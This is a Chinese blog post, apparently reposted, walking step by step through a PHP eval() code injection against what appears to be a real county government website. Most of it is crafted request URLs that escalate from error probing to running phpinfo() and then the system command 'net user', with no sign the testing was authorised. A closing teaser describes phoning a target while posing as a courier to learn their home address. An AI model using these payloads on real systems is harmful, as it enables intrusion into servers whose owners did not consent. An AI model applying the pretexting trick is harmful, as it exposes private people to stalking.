《Code Injection》 - PHP Eval 代码注入执行

作者：菲 & 2月30日
开始测试
http://cpd.111111.fl.us/gis/reports/output.php?id=ImpactFeesReport&month=all&year=all&fee_type=trans1&fee_status=reversed

上面链接是一个Code Injection注入连接，形成的原理是变量没有经过过滤就放入了eval()函数中执行造成的，eval是可以执行php代码的 一句话就是用的这个函数，把id被我改成了一个xox访问显示如图1

“Class 'xox' not found ”这个信息暴露了eval里面的代码在执行一个类 “Class” php中调用类那么就是为了使用类中的函数，那我们使用php的种种特殊字符来测试下。
php特点;分号，分号是一句的结束，如果把注入点构造成

http://cpd.asssss.fl.us/gis/reports/output.php?id=ImpactFeesReport;&month=all&year=all&fee_type=trans1&fee_status=reversed

果然 我得到了不一样的错误信息
“Missing argument 1 for ImpactFeesReport::ImpactFeesReport()“这里一目了然程序调用了ImactFeesReport里面的初始化代码，

他提示“Missing argument“解释下其实是要执行ImpactFeesReport()，但是后面的括号被参数截断了所以没有了参数，

现在继续 php这代码注释“//“执行

“http://cpd.asslassss.fl.us/gis/reports/output.php?id=ImpactFeesReport//&month=all&year=all&fee_type=trans1&fee_status=reversed“

执行结果如图

错误信息“syntax error, unexpected $end ” 意思是不正确的结束 ，“eval（）d code on line 1”这句意思是函数丢失了一个参数说明函数至少有一个参数我们给这个函数用0作为参数，然后执行

http://cpd.jjjjjjjfl.us/gis/reports/output.php?id=ImpactFeesReport(0);//&month=all&year=all&fee_type=trans1&fee_status=reversed

执行结果如图

发现错误提示少了一些，只是出现“Call to a member function select() on a non-object”

那么说明什么？说明类函数那段代码执行成功了， 这是个细节 大家不信比较前几次就会发现，说一下php中类型php是弱类型语言php中 类型不分string int如果是字符型 他内部转换成string。既然用;//得逞了，那我们在试试“phpinfo()”执行

http://cpd.alalll.fl.us/gis/reports/output.php?id=ImpactFeesReport(0);phpinfo();//&month=all&year=all&fee_type=trans1&fee_status=reversed

结果如图

和预想的一样爆出了信息，

我们还可以执行系统命令，里面的代码会自动调用system()函数来执行 执行后的结果以字符串返回我们在连接上加“;echo`net%20use;//”用echo输出 在浏览器执行

http://cpd.aoooa.fl.us/gis/reports/output.php?id=ImpactFeesReport(0);//;echo`net%20user`;//&month=all&year=all&fee_type=trans1&fee_status=reversed

执行结果如图

说过一下echo的作用，是用来输出一个或多个字符串，具体的语法为echo 要输出的字符

在这我们用了输出 执行命令的结果，这就是测试过程就到这了，生活中细节决定成败，渗透的时候也是如此。

文章来源于lcx.cc:《Code Injection》 - PHP Eval 代码注入执行

相关推荐: 伪装快递打电话社工地址，我这样用手机社目标住址大家觉得可行吗？

我这样用手机社目标住址大家觉得可行吗？ 小泽 (爱上泷泽萝拉，可我的电脑没有种子 这让我感到绝望) | 2014-06-01 09:31 因为在同城我打算装成xx快递的快递员，然后打电话说x先生你好，我是xx快递的快递员xx，抱歉今天由于我的一些疏忽导致一些快…